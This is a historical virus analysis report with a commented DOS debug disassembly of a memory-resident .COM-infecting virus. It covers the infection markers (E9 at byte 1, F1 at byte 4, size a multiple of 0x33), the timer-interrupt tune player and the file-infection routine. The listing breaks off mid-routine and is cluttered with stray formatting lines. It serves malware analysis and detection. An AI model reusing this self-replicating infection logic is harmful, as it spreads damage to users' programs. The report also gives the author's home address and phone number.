2022-08-21 09:07:57 +00:00
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-this report was compiled by thomas vogler, schaeferweg 25, 6107 reinheim,
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west germaney. my phone number (voice) is +-49-6162-4349.
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-first the most important conclusions:
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1. a file that is infected, contains E9 at byte 1 and F1 at byte
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offset 4. the size of the file is an integral multiple of 33 (51 (decimal)).
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2. the virus infects only .COM files
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3. the virus makes itself resident and plays some tunes after a while
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-all numbers in this report are in HEX (base 16 (dec)), unless otherwise
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stated.
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-the two files compared have the following directory characteristics:
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Volume in drive C has no label
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Directory of C:\APPL\PROCOMM\MTVIRUS
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TANK CO 8488 22.11.89 5.19
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TANK1 CO 11271 22.11.89 5.19
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2 File(s) 1650688 bytes free
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the files were renamed from .com to .co to avoid unintended starting, all
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numbers above are decimal, due to the dos directory command. the hexadecimal
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sizes of the files are:
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TANK.CO 2128
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TANK1.CO 2C07
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-the file tank1.co is the infected file.
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-differences between the two files:
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the virus starts at byte 2128 with the byte E9. the virus is somehow relocated
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so that the byte at 2128 is originated to be at offset 100 within the code
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segment during execution.
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the infected file ends at 2c06 with the bytes 10 3c
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thus the virus did append 2C06 - 2128 + 1 = ADF bytes
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to the file.
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-below is a disassembly of the virus, carried out with good old debug:
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;
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; here is the disassemly of the first 4 bytes of
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; the infected file tank1.com
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;
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1CF5:0100 E92521 JMP 2228 ; jump to the first byte
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; that was appended to
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; the original file. the
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; offset inside this
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; instruction is needed
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; later
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1CF5:0103 F1 db f1 ; this byte is used as
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; an additional marker
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; during infection of
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; other files.
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;
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; here the original code for the old program is
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; located
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;
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db ? dup (?)
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;
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; this is the first byte, that was appended to the
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; original file. here is the start of the virus, which
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; should be treated as originated to 0100.
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;
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0100 E9DD08 JMP 2B08 ; jump to the main entry
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00F8/2220 E9 DD 08 ...
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;----------------------------------------------------
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0103 db 4 dup (?) ; save area for the
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; original code in the
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; com file (4 bytes)
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00F8/2220 BC FC 19 89 ....
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;----------------------------------------------------
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00F8/2220 14 .
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0108/2230 00 01 18 17 ....
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;----------------------------------------------------
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;
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; save area for the original int21 vector
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;
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010C dw ?
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010E dw ?
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0108/2230 77 03 40 11 w.@.
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;----------------------------------------------------
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;
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; save area for the original int27 vector
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;
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0110 dw ?
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0112 dw ?
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0108/2230 08 09 40 11 ..@.
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;----------------------------------------------------
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;
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; save area for the old int20 vector
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;
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0114 dw ?
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0116 dw ?
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0108/2230 67 03 40 11 g.@.
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;----------------------------------------------------
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0118/2240 00 00 00 00 ....
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;----------------------------------------------------
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;
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; here we store the original interrupt 8 (timer)
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;
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011C dw ?
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011E dw ?
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0118/2240 AA 00 77 0F- ..w.
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;----------------------------------------------------
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;
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; the following are dependent of order, since both are
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; loaded with a lds instruction
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;
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0120 dw ? ; offset of dta
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0122 dw ? ; segment of dta
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0118/2240 8A 45 0A 9B .E..
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;----------------------------------------------------
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;
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; in the next section we find the disk transfer area
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; the virus uses for search first/search next
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; operations
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;
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0124 db 21 dup (?) ; reserved for dos
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0139 db ? ; attributes of file
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013A dw ? ; time of file
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013C dw ? ; date of file
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013E dw ? ; low size
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0140 dw ? ; high size
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0142 db 13 dup (?) ; packed name
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0118/2240 03 3F 3F 3F .???
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0128/2250 3F 3F 3F 3F 3F 43 4F 4D-20 20 00 39 00 01 49 10 ?????COM .9..I.
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0138/2260 F6 20 63 2A 76 13 28 21-00 00 54 41 4E 4B 2E 43 . c*v.(!..TANK.C
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0148/2270 4F 4D 00 4D 00 00 00 OM.M...
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;----------------------------------------------------
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014F db 4 dup (?) ; buffer for first 4
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; bytes of a file to
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; become infected
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0148/2270 E9 25 21 F1 .%!.
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;----------------------------------------------------
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; this is a counter thats decremented during each
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; timer interrupt. if it reaches 0, its reloaded
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; with 2
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;
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0153 dw ?
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0148/2270 14 00 ..
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;----------------------------------------------------
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0155 DB '*.COM',0,'\'
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0148/2270 2A 2E 43 *.C
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0158/2280 4F 4D 00 5C OM.\
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;----------------------------------------------------
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015C DB 75 DUP (?),'\'
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0158/2280 43 3A 2A 2E-43 4F 4D 00 4F 4D 00 00 C:*.COM.OM..
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0168/2290 52 53 45 5C 2A 2E 43 4F-4D 00 52 2E 49 4E 49 00 RSE\*.COM.R.INI.
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0178/22A0 00 43 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .C..............
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0188/22B0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
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0198/22C0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 5C ...............\
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;----------------------------------------------------
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01A8 DB 75 DUP (?),'\'
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01A8/22D0 43 3A 2A 2E 43 4F 4D 00-00 49 56 45 52 53 45 5C C:*.COM..IVERSE\
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01B8/22E0 2A 2E 43 4F 4D 00 43 4F-4D 00 00 00 00 00 00 00 *.COM.COM.......
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01C8/22F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
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01D8/2300 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
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01E8/2310 00 00 00 00 00 00 00 00-00 00 00 5C ...........\
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;----------------------------------------------------
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01F4 DB ?? DUP (?),'\'
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01E8-2310 43 3A 54 41 C:TA
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01F8/2320 4E 4B 2E 43 4F 4D 00 43-4F 4D 00 5C 56 49 50 54 NK.COM.COM.\VIPT
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0208/2330 45 53 54 2E 43 4F 4D 00-4D 00 4F 4D 00 00 00 00 EST.COM.M.OM....
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0218/2340 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
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0228/2350 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
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0238/2360 00 00 00 00 00 00 00 00-00 00 00 00 ............
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;----------------------------------------------------
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0244 db 'COMMAND.COM',0
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0238/2360 43 4F 4D 4D ............COMM
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0248/2370 41 4E 44 2E 43 4F 4D 00 AND.COM.
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;----------------------------------------------------
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-> at 0255 a table of notes seems to begin, at 0251 there seems to be
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a pointer into this table. the table seems to be terminated by a
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word of 0000. the table consists of 3 byte entrys, which colud be
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something like tone and duration. the termination is at 2743.
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0248/2370 01 .
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;----------------------------------------------------
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0251 dw 0255 ; pointer to next note
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0248/2370 55 02 U.
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;----------------------------------------------------
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;
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; this is a counter for how long the current tune
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; should be played.
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;
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0253 dw ?
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0248/2370 18 15 ..
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;----------------------------------------------------
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;
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; below is the table of tunes to be played when the
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; effect is produced. the table is terminated by a
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; frequency value of 0
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;
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tune macro freq, len
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dw freq
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db len
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tune endm
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;
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0255 tune 07E4 ,06
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tune 07E4 ,06
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tune 08DA ,03
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tune 0964 ,03
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tune 0964 ,06
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tune 09F4 ,03
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tune 0964 ,03
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tune 0964 ,10
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tune 0024 ,02
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tune 09F4 ,03
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tune 0964 ,03
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tune 0964 ,06
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tune 09F4 ,03
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tune 0964 ,03
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tune 07E4 ,06
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tune 0964 ,03
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tune 07E4 ,03
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tune 08DA ,0C
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tune 0A8A ,06
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tune 0024 ,03
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tune 0A8A ,03
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tune 0A8A ,06
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tune 0B2C ,03
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tune 0A8A ,03
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tune 0A8A ,06
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tune 0B2C ,03
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tune 0A8A ,03
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tune 08DA ,10
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tune 0024 ,02
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tune 0964 ,03
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tune 0A8A ,03
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tune 0964 ,03
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tune 07E4 ,09
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tune 0708 ,09
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tune 0708 ,03
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tune 0A8A ,10
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tune 0024 ,02
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tune 07E4 ,06
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tune 07E4 ,06
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tune 08DA ,03
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tune 0964 ,03
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tune 0964 ,06
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tune 09F4 ,03
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tune 0964 ,03
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tune 0964 ,10
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tune 0024 ,02
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tune 09F4 ,03
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tune 0964 ,03
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tune 0964 ,06
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tune 09F4 ,03
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tune 0964 ,03
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tune 08DA ,03
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tune 0964 ,03
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tune 0A8A ,05
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tune 0C87 ,01
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tune 0A8A ,0C
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tune 0BD3 ,06
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tune 0024 ,03
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tune 0BD3 ,03
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tune 0BD3 ,06
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tune 0C87 ,03
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tune 0BD3 ,03
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tune 09F4 ,06
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tune 0A8A ,03
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tune 0BD3 ,03
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tune 05E9 ,0F
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tune 0024 ,03
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tune 0BD3 ,03
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tune 0A8A ,03
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tune 0964 ,03
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tune 07E4 ,01
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tune 0024 ,02
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tune 0BD3 ,03
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tune 0A8A ,03
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tune 0964 ,03
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tune 07E4 ,01
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tune 0024 ,02
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tune 0FCF ,03
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tune 0E16 ,05
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tune 0964 ,01
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tune 0A8A ,0C
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tune 0BD3 ,01
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tune 000A ,0F
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tune 0FCF ,04
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tune 0C87 ,04
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tune 0A8A ,04
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tune 0A8A ,04
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tune 0024 ,04
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tune 0545 ,02
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tune 0024 ,02
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tune 0545 ,02
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tune 0024 ,06
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tune 0643 ,02
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tune 0024 ,02
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tune 0643 ,02
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tune 0024 ,06
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tune 0FCF ,04
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tune 0FCF ,04
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tune 0C87 ,04
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tune 0A8A ,04
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tune 0A8A ,04
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tune 0024 ,04
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tune 0545 ,02
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tune 0024 ,02
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0248/2370 E4 07 06 ...
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0258/2380 E4 07 06 DA 08 03 64 09-03 64 09 06 F4 09 03 64 ......d..d.....d
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02D8/2400 03 64 09 10 24 00 02 F4-09 03 64 09 03 64 09 06 .d..$.....d..d..
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02E8/2410 F4 09 03 64 09 03 DA 08-03 64 09 03 8A 0A 05 87 ...d.....d......
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02F8/2420 0C 01 8A 0A 0C D3 0B 06-24 00 03 D3 0B 03 D3 0B ........$.......
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0318/2440 E9 05 0F 24 00 03 D3 0B-03 8A 0A 03 64 09 03 E4 ...$........d...
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0608/2730 06 2E 04 08 F2 03 04 2E-04 04 F2 03 04 2E 04 04 ................
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0618/2740 F2 03 04 00 00 0F ......
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;
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; this procedure gets called every second timer
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; interrupt (ie approx each 36.4 msecs), when the
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; playing of a tune was enabled.
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;
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1E72:2746 FF0E5302 DEC WORD PTR [0253] ; decrement counter of
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; timer ticks
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1E72:274A A15302 MOV AX,[0253]
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1E72:274D 3D0100 CMP AX,0001
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1E72:2750 7406 JZ 2758 ; turn off speaker. at
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; the next tick, the
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; next note will be
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; played
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1E72:2752 3D0000 CMP AX,0000
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1E72:2755 740C JZ 2763 ; start to play the next
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; note if we reach 0
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1E72:2757 C3 RET ; no change, continue
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;
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; turn off speaker
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;
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1E72:2758 E461 IN AL,61
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1E72:275A 8AE0 MOV AH,AL
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1E72:275C 24FC AND AL,FC
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1E72:275E EB00 JMP $+2
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1E72:2760 E661 OUT 61,AL
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1E72:2762 C3 RET
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;
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; first some new counter for
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; [0253] is computed
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;
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1E72:2763 8B365102 MOV SI,[0251] ; make si point to the
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; entry for the next
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; tune to be played
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1E72:2767 8306510203 ADD WORD PTR [0251],+03 ; point to the next tune
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1E72:276C 8B1C MOV BX,[SI] ; get frequency
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1E72:276E 8A4402 MOV AL,[SI+02] ; get duration
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1E72:2771 98 CBW ; clear ah
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1E72:2772 83FB0A CMP BX,+0A
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1E72:2775 7702 JA 2779 ; if the frequency to
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; be played is below
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; or equal 0A we make
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; a longer pause. this
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; is done by swapping
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; the high and low parts
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; of the ax register
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1E72:2777 86C4 XCHG AL,AH
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1E72:2779 A35302 MOV [0253],AX ; store new counter
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1E72:277C 83FB00 CMP BX,+00 ; play a tune
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1E72:277F 7508 JNZ 2789
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;
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; when we come here, the table terminated. we
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; set up the pointer at 0251 to point again to the
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; beginning of the table and we turn of the speaker.
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;
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1E72:2781 C70651025502 MOV WORD PTR [0251],0255
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1E72:2787 EBCF JMP 2758 ; turn off speaker
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;
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; now start playing a tone with a frequency given by
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; the bx register
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;
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1E72:2789 B0B6 MOV AL,B6
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1E72:278B E643 OUT 43,AL
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1E72:278D 8BC3 MOV AX,BX
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1E72:278F E642 OUT 42,AL
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1E72:2791 EB00 JMP $+2
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1E72:2793 8AC4 MOV AL,AH
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1E72:2795 E642 OUT 42,AL
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;
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; enable the speaker
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;
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1E72:2797 E461 IN AL,61
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1E72:2799 8AE0 MOV AH,AL
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1E72:279B 0C03 OR AL,03
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1E72:279D EB00 JMP $+2
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1E72:279F E661 OUT 61,AL
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1E72:27A1 C3 RET
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;
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; this is the interposer for the timer interrupt
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;
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1E72:27A2 9C PUSHF
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1E72:27A3 50 PUSH AX
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1E72:27A4 53 PUSH BX
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1E72:27A5 51 PUSH CX
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1E72:27A6 52 PUSH DX
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1E72:27A7 56 PUSH SI
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1E72:27A8 57 PUSH DI
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1E72:27A9 55 PUSH BP
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1E72:27AA 1E PUSH DS
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1E72:27AB 06 PUSH ES
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1E72:27AC 9C PUSHF
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1E72:27AD 2E CS:
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1E72:27AE FF1E1C01 CALL FAR [011C] ; call original routine
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1E72:27B2 FB STI
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1E72:27B3 8CC8 MOV AX,CS
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1E72:27B5 8ED8 MOV DS,AX ; addressability
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1E72:27B7 833E530100 CMP WORD PTR [0153],+00
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1E72:27BC 740F JZ 27CD ; not playing currently
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1E72:27BE FF0E5301 DEC WORD PTR [0153]
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1E72:27C2 7509 JNZ 27CD ; not the second tick
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1E72:27C4 E87FFF CALL 2746 ; one tick advanced
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1E72:27C7 C70653010200 MOV WORD PTR [0153],0002 ; and restart the next
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; time
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1E72:27CD 07 POP ES
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1E72:27CE 1F POP DS
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1E72:27CF 5D POP BP
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1E72:27D0 5F POP DI
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1E72:27D1 5E POP SI
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1E72:27D2 5A POP DX
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1E72:27D3 59 POP CX
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1E72:27D4 5B POP BX
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1E72:27D5 58 POP AX
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1E72:27D6 9D POPF
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1E72:27D7 CF IRET
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;
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; when we come here, we should start up an effect.
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; this is done by initialising pointers and flags to
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; get the music via the timer interrupt playing.
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;
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1E72:27D8 8CC8 MOV AX,CS
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1E72:27DA 8ED8 MOV DS,AX
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1E72:27DC FE060701 INC BYTE PTR [0107] ; ?count number of times
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; an effect was
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; produced?
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1E72:27E0 C606500200 MOV BYTE PTR [0250],00 ; ??
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1E72:27E5 C70653011400 MOV WORD PTR [0153],0014 ; start playing
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1E72:27EB C70651025502 MOV WORD PTR [0251],0255 ; set pointer to the
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; next note
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1E72:27F1 C70653021815 MOV WORD PTR [0253],1518 ; before we start
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; playing, wait about
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; 2*1518 timer ticks.
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; this is about 32 (dec)
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; minutes.
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1E72:27F7 C3 RET
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;
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; routine to copy an asciiz string
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;
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strcpy:
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1E72:27F8 AC LODSB
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1E72:27F9 AA STOSB
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1E72:27FA 3C00 CMP AL,00
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1E72:27FC 75FA JNZ strcpy
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1E72:27FE C3 RET
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;
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; routine to compare asciiz strings given by si and
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; di. return z for equal, nz for different.
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;
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strcmp:
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1E72:27FF AC LODSB
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1E72:2800 3A05 CMP AL,[DI]
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1E72:2802 7507 JNZ 280B
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1E72:2804 3C00 CMP AL,00
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1E72:2806 7403 JZ 280B
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1E72:2808 47 INC DI
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1E72:2809 EBF4 JMP strcmp
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1E72:280B C3 RET
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1E72:280C FC CLD
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1E72:280D 8CC8 MOV AX,CS
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1E72:280F 8EC0 MOV ES,AX
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1E72:2811 8BF2 MOV SI,DX
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1E72:2813 8A04 MOV AL,[SI]
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|
1E72:2815 3C00 CMP AL,00
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1E72:2817 7507 JNZ 2820
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1E72:2819 B419 MOV AH,19
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|
1E72:281B E8E202 CALL int21 ; get current disk
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|
1E72:281E FEC0 INC AL
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1E72:2820 0440 ADD AL,40 ; now al is the drive
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; letter
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|
1E72:2822 2E CS:
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|
1E72:2823 A25C01 MOV [015C],AL ; store drive letter
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1E72:2826 2E CS:
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|
1E72:2827 C6065D013A MOV BYTE PTR [015D],':' ; store colon
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1E72:282C 2E CS:
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1E72:282D C6065E0100 MOV BYTE PTR [015E],00 ; terminate string
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|
1E72:2832 EB0D JMP 2841
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;
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|
; the next section is called for some dos functions
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; dealing with asciiz filenames
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;
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|
1E72:2834 FC CLD
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1E72:2835 8CC8 MOV AX,CS
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|
1E72:2837 8EC0 MOV ES,AX
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|
1E72:2839 8BF2 MOV SI,DX
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|
1E72:283B BF5C01 MOV DI,015C
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|
1E72:283E E8B7FF CALL strcpy
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;
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|
|
; this is a direct entry to ???
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;
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1E72:2841 8CC8 MOV AX,CS
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|
1E72:2843 8ED8 MOV DS,AX
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|
1E72:2845 BF5C01 MOV DI,015C ; start of string
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1E72:2848 B000 MOV AL,00
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|
1E72:284A B94B00 MOV CX,004B ; maximum length
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|
1E72:284D F2 REPNZ
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|
1E72:284E AE SCASB ; now di points to the
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; 00 byte terminating
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; the string
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;
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; in the next sectio the point where we can append
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; *.COM to the string is located.
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;
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1E72:284F 8A45FF MOV AL,[DI-01]
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1E72:2852 3C3A CMP AL,':'
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1E72:2854 7407 JZ 285D
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|
1E72:2856 3C5C CMP AL,'\'
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1E72:2858 7403 JZ 285D
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1E72:285A 4F DEC DI
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1E72:285B EBF2 JMP 284F
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;
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; when we come here, di points to the first byte
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; after the last directory separator of after the
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|
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; drive separator.
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;
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1E72:285D BE5501 MOV SI,0155
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|
1E72:2860 E895FF CALL strcpy
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;
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|
|
; test if the current name was already searched for.
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; if so, terminate the search operation
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;
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1E72:2863 BE5C01 MOV SI,015C
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|
|
1E72:2866 BFA801 MOV DI,01A8
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|
1E72:2869 E893FF CALL strcmp
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|
1E72:286C 7501 JNZ 286F
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|
1E72:286E C3 RET
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;
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|
|
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; remember current search pattern
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;
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1E72:286F BE5C01 MOV SI,015C
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|
|
1E72:2872 BFA801 MOV DI,01A8
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|
1E72:2875 E880FF CALL strcpy
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1E72:2878 BE5C01 MOV SI,015C
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|
|
1E72:287B BFF401 MOV DI,01F4
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|
1E72:287E E877FF CALL strcpy
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;
|
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|
|
|
; get current disk transfer address and store it
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;
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|
1E72:2881 06 PUSH ES
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|
|
|
|
1E72:2882 B42F MOV AH,2F
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|
|
1E72:2884 E87902 CALL int21
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|
|
|
1E72:2887 891E2001 MOV [0120],BX
|
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|
1E72:288B 8C062201 MOV [0122],ES
|
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|
|
1E72:288F 07 POP ES
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|
|
|
|
|
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|
;
|
|
|
|
|
; set private disk transfer address
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|
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;
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|
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|
|
|
|
|
1E72:2890 B41A MOV AH,1A
|
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|
|
1E72:2892 BA2401 MOV DX,0124
|
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|
|
|
1E72:2895 E86802 CALL int21
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|
|
|
|
|
|
|
1E72:2898 E81400 CALL 28AF
|
|
|
|
|
|
|
|
|
|
;
|
|
|
|
|
; restore original disk transfer address and return
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|
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|
|
;
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|
|
|
|
|
1E72:289B 1E PUSH DS
|
|
|
|
|
1E72:289C B41A MOV AH,1A
|
|
|
|
|
1E72:289E C5162001 LDS DX,[0120]
|
|
|
|
|
1E72:28A2 E85B02 CALL int21
|
|
|
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|
1E72:28A5 1F POP DS
|
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|
1E72:28A6 C3 RET
|
|
|
|
|
|
|
|
|
|
;
|
|
|
|
|
; search the next file, because we found one, we dont
|
|
|
|
|
; like
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|
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|
|
;
|
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|
|
1E72:28A7 B44F MOV AH,4F
|
|
|
|
|
1E72:28A9 E85402 CALL int21
|
|
|
|
|
1E72:28AC 730E JNB 28BC ; if ok continue,
|
|
|
|
|
; otherwise return
|
|
|
|
|
|
|
|
|
|
1E72:28AE C3 RET
|
|
|
|
|
|
|
|
|
|
;
|
|
|
|
|
; the following is called with 015c containing the
|
|
|
|
|
; search pattern, which is copied to 01a8 and 01f4
|
|
|
|
|
; too.
|
|
|
|
|
;
|
|
|
|
|
|
|
|
|
|
1E72:28AF B44E MOV AH,4E
|
|
|
|
|
1E72:28B1 BA5C01 MOV DX,015C
|
|
|
|
|
1E72:28B4 B92000 MOV CX,0020
|
|
|
|
|
1E72:28B7 E84602 CALL int21 ; find match file
|
|
|
|
|
1E72:28BA 72F2 JB 28AE ; return on error
|
|
|
|
|
|
|
|
|
|
;
|
|
|
|
|
; find first/next was ok. test if we want this file
|
|
|
|
|
;
|
|
|
|
|
|
|
|
|
|
1E72:28BC BE4201 MOV SI,0142
|
|
|
|
|
1E72:28BF BF4402 MOV DI,0244
|
|
|
|
|
1E72:28C2 E83AFF CALL strcmp
|
|
|
|
|
1E72:28C5 74E0 JZ 28A7 ; dont like COMMAND.COM
|
|
|
|
|
1E72:28C7 833E400100 CMP WORD PTR [0140],+00
|
|
|
|
|
1E72:28CC 75D9 JNZ 28A7 ; dont like files with
|
|
|
|
|
; high size != 0
|
|
|
|
|
|
|
|
|
|
1E72:28CE 813E3E011DF2 CMP WORD PTR [013E],F21D
|
|
|
|
|
1E72:28D4 77D1 JA 28A7 ; dont like files bigger
|
|
|
|
|
; than f21d bytes. this
|
|
|
|
|
; is de3 bytes less than
|
|
|
|
|
; 10000. this could be
|
|
|
|
|
; the size of
|
|
|
|
|
; the virus plus some
|
|
|
|
|
; reserve.
|
|
|
|
|
|
|
|
|
|
1E72:28D6 BA0000 MOV DX,0000
|
|
|
|
|
1E72:28D9 A13E01 MOV AX,[013E]
|
|
|
|
|
1E72:28DC BB3300 MOV BX,0033
|
|
|
|
|
1E72:28DF F7F3 DIV BX
|
|
|
|
|
1E72:28E1 83FA00 CMP DX,+00
|
|
|
|
|
1E72:28E4 74C1 JZ 28A7 ; dont like files whose
|
|
|
|
|
; size is divideable by
|
|
|
|
|
; 33 (51 dec) without a
|
|
|
|
|
; reminder.
|
|
|
|
|
|
|
|
|
|
;
|
|
|
|
|
; now we construct a name of a file using the search
|
|
|
|
|
; pattern given in 01F4.
|
|
|
|
|
;
|
|
|
|
|
1E72:28E6 BFF401 MOV DI,01F4
|
|
|
|
|
1E72:28E9 B000 MOV AL,00
|
|
|
|
|
1E72:28EB B94B00 MOV CX,004B
|
|
|
|
|
1E72:28EE F2 REPNZ
|
|
|
|
|
1E72:28EF AE SCASB
|
|
|
|
|
;
|
|
|
|
|
; now di points to the 00 byte at the end of the
|
|
|
|
|
; string. scan backwards until the last path or a
|
|
|
|
|
; drive separator is found.
|
|
|
|
|
;
|
|
|
|
|
1E72:28F0 8A45FF MOV AL,[DI-01]
|
|
|
|
|
1E72:28F3 3C3A CMP AL,':'
|
|
|
|
|
1E72:28F5 7407 JZ 28FE
|
|
|
|
|
1E72:28F7 3C5C CMP AL,'\'
|
|
|
|
|
1E72:28F9 7403 JZ 28FE
|
|
|
|
|
1E72:28FB 4F DEC DI
|
|
|
|
|
1E72:28FC EBF2 JMP 28F0
|
|
|
|
|
;
|
|
|
|
|
; now append the name of the found file
|
|
|
|
|
;
|
|
|
|
|
1E72:28FE BE4201 MOV SI,0142
|
|
|
|
|
1E72:2901 E8F4FE CALL strcpy
|
|
|
|
|
;
|
|
|
|
|
1E72:2904 B8023D MOV AX,3D02
|
|
|
|
|
1E72:2907 BAF401 MOV DX,01F4
|
|
|
|
|
1E72:290A E8F301 CALL int21 ; open file for rw
|
|
|
|
|
1E72:290D 729F JB 28AE ; return on error
|
|
|
|
|
;
|
|
|
|
|
; read the first 4 bytes of the file.
|
|
|
|
|
;
|
|
|
|
|
1E72:290F 8BD8 MOV BX,AX
|
|
|
|
|
1E72:2911 B43F MOV AH,3F
|
|
|
|
|
1E72:2913 BA4F01 MOV DX,014F
|
|
|
|
|
1E72:2916 B90400 MOV CX,0004
|
|
|
|
|
1E72:2919 E8E401 CALL int21
|
|
|
|
|
1E72:291C 7303 JNB 2921
|
|
|
|
|
1E72:291E E9C000 JMP 29E1 ; error while reading
|
|
|
|
|
; the file header
|
|
|
|
|
; occured. stop
|
|
|
|
|
; infection after
|
|
|
|
|
; resetting the files
|
|
|
|
|
; attributes
|
|
|
|
|
1E72:2921 803E4F01FF CMP BYTE PTR [014F],FF
|
|
|
|
|
1E72:2926 740E JZ 2936 ; files starting with
|
|
|
|
|
; FF dont become
|
|
|
|
|
; infected
|
|
|
|
|
1E72:2928 803E4F01E9 CMP BYTE PTR [014F],E9
|
|
|
|
|
1E72:292D 7510 JNZ 293F ; files not starting
|
|
|
|
|
; with E9 become
|
|
|
|
|
; infected
|
|
|
|
|
1E72:292F 803E5201F1 CMP BYTE PTR [0152],F1
|
|
|
|
|
1E72:2934 7509 JNZ 293F ; files without F1 in
|
|
|
|
|
; byte 4 become
|
|
|
|
|
; infected
|
|
|
|
|
|
|
|
|
|
1E72:2936 E8A800 CALL 29E1 ; close the file and
|
|
|
|
|
; retain its attributes
|
|
|
|
|
1E72:2939 A2A801 MOV [01A8],AL ; put in drive letter
|
|
|
|
|
; again...
|
|
|
|
|
1E72:293C E968FF JMP 28A7 ; search next file
|
|
|
|
|
|
|
|
|
|
;
|
|
|
|
|
; when we come here, we are going to infect a file
|
|
|
|
|
;
|
|
|
|
|
|
|
|
|
|
1E72:293F A14F01 MOV AX,[014F] ; copy the 4 bytes for
|
|
|
|
|
; the header
|
|
|
|
|
1E72:2942 A30301 MOV [0103],AX
|
|
|
|
|
1E72:2945 A15101 MOV AX,[0151]
|
|
|
|
|
1E72:2948 A30501 MOV [0105],AX
|
|
|
|
|
|
|
|
|
|
1E72:294B A13E01 MOV AX,[013E]
|
|
|
|
|
1E72:294E 2D0300 SUB AX,0003
|
|
|
|
|
1E72:2951 C6064F01E9 MOV BYTE PTR [014F],E9 ; store jmp instruction
|
|
|
|
|
1E72:2956 A35001 MOV [0150],AX
|
|
|
|
|
1E72:2959 C6065201F1 MOV BYTE PTR [0152],F1 ; store magic byte
|
|
|
|
|
1E72:295E B80042 MOV AX,4200
|
|
|
|
|
1E72:2961 B90000 MOV CX,0000
|
|
|
|
|
1E72:2964 BA0000 MOV DX,0000
|
|
|
|
|
1E72:2967 E89601 CALL int21 ; seek to the beginning
|
|
|
|
|
; of the file
|
|
|
|
|
1E72:296A 7303 JNB 296F
|
|
|
|
|
1E72:296C EB73 JMP 29E1 ; oops, close it
|
|
|
|
|
1E72:296E 90 NOP
|
|
|
|
|
1E72:296F B440 MOV AH,40
|
|
|
|
|
1E72:2971 BA4F01 MOV DX,014F
|
|
|
|
|
1E72:2974 B90400 MOV CX,0004
|
|
|
|
|
1E72:2977 E88601 CALL int21 ; write new header
|
|
|
|
|
1E72:297A 7303 JNB 297F
|
|
|
|
|
1E72:297C EB63 JMP 29E1 ; oops, close it
|
|
|
|
|
1E72:297E 90 NOP
|
|
|
|
|
1E72:297F B80242 MOV AX,4202
|
|
|
|
|
1E72:2982 B90000 MOV CX,0000
|
|
|
|
|
1E72:2985 BA0000 MOV DX,0000
|
|
|
|
|
1E72:2988 E87501 CALL int21 ; move to end of file
|
|
|
|
|
1E72:298B 7303 JNB 2990
|
|
|
|
|
1E72:298D EB52 JMP 29E1 ; oops, close file and
|
|
|
|
|
; and return
|
|
|
|
|
1E72:298F 90 NOP
|
|
|
|
|
|
|
|
|
|
;
|
|
|
|
|
; now we are ready to append the virus code to the
|
|
|
|
|
; file.
|
|
|
|
|
;
|
|
|
|
|
1E72:2990 53 PUSH BX ; save handle
|
|
|
|
|
1E72:2991 BA0000 MOV DX,0000
|
|
|
|
|
1E72:2994 A13E01 MOV AX,[013E] ; get low size of file
|
|
|
|
|
1E72:2997 B9C40A MOV CX,0AC4
|
|
|
|
|
1E72:299A 03C1 ADD AX,CX ; add size of virus
|
|
|
|
|
1E72:299C BB3300 MOV BX,0033
|
|
|
|
|
1E72:299F F7F3 DIV BX
|
|
|
|
|
1E72:29A1 83C133 ADD CX,+33 ; add modulo bytes
|
|
|
|
|
1E72:29A4 2BCA SUB CX,DX ; subtract reminder. now
|
|
|
|
|
; cx is the size of the
|
|
|
|
|
; virus plus the number
|
|
|
|
|
; of junk bytes, needed
|
|
|
|
|
; to make the final size
|
|
|
|
|
; of the file divideable
|
|
|
|
|
; by 33.
|
|
|
|
|
|
|
|
|
|
1E72:29A6 5B POP BX ; restore handle
|
|
|
|
|
1E72:29A7 B440 MOV AH,40 ; write to file/device
|
|
|
|
|
1E72:29A9 BA0001 MOV DX,0100 ; source is ds:dx
|
|
|
|
|
1E72:29AC E85101 CALL int21 ; call dos
|
|
|
|
|
1E72:29AF 7204 JB 29B5 ; test error
|
|
|
|
|
1E72:29B1 3BC1 CMP AX,CX ; all written ?
|
|
|
|
|
1E72:29B3 742C JZ 29E1 ; yes, close file and
|
|
|
|
|
; retain its attributes
|
|
|
|
|
;
|
|
|
|
|
; a write error occured
|
|
|
|
|
;
|
|
|
|
|
1E72:29B5 B80042 MOV AX,4200
|
|
|
|
|
1E72:29B8 B90000 MOV CX,0000
|
|
|
|
|
1E72:29BB BA0000 MOV DX,0000
|
|
|
|
|
1E72:29BE E83F01 CALL int21 ; seek to beginning
|
|
|
|
|
|
|
|
|
|
1E72:29C1 B440 MOV AH,40
|
|
|
|
|
1E72:29C3 BA0301 MOV DX,0103
|
|
|
|
|
1E72:29C6 B90400 MOV CX,0004
|
|
|
|
|
1E72:29C9 E83401 CALL int21 ; write original header
|
|
|
|
|
|
|
|
|
|
1E72:29CC B80042 MOV AX,4200
|
|
|
|
|
1E72:29CF 8B0E4001 MOV CX,[0140]
|
|
|
|
|
1E72:29D3 8B163E01 MOV DX,[013E]
|
|
|
|
|
1E72:29D7 E82601 CALL int21 ; seek to the original
|
|
|
|
|
; end of the file
|
|
|
|
|
|
|
|
|
|
1E72:29DA E81000 CALL 29ED ; close file & set its
|
|
|
|
|
; attributes
|
|
|
|
|
1E72:29DD A2F401 MOV [01F4],AL
|
|
|
|
|
1E72:29E0 C3 RET
|
|
|
|
|
;
|
|
|
|
|
; subroutine to reset a files attributes after
|
|
|
|
|
; seeking to its end and closing it. this routine
|
|
|
|
|
; returns the drive letter in al where ths file under
|
|
|
|
|
; investigation was found.
|
|
|
|
|
;
|
|
|
|
|
1E72:29E1 B80242 MOV AX,4202
|
|
|
|
|
1E72:29E4 B90000 MOV CX,0000
|
|
|
|
|
1E72:29E7 BA0000 MOV DX,0000
|
|
|
|
|
1E72:29EA E81301 CALL int21 ; seek to eof
|
|
|
|
|
|
|
|
|
|
;
|
|
|
|
|
; soubroutine to reset a files attributes to values
|
|
|
|
|
; stored in the dta. they were filled up by the
|
|
|
|
|
; search first/search next operations
|
|
|
|
|
;
|
|
|
|
|
|
|
|
|
|
1E72:29ED 8B0E3A01 MOV CX,[013A]
|
|
|
|
|
1E72:29F1 8B163C01 MOV DX,[013C]
|
|
|
|
|
1E72:29F5 B80157 MOV AX,5701
|
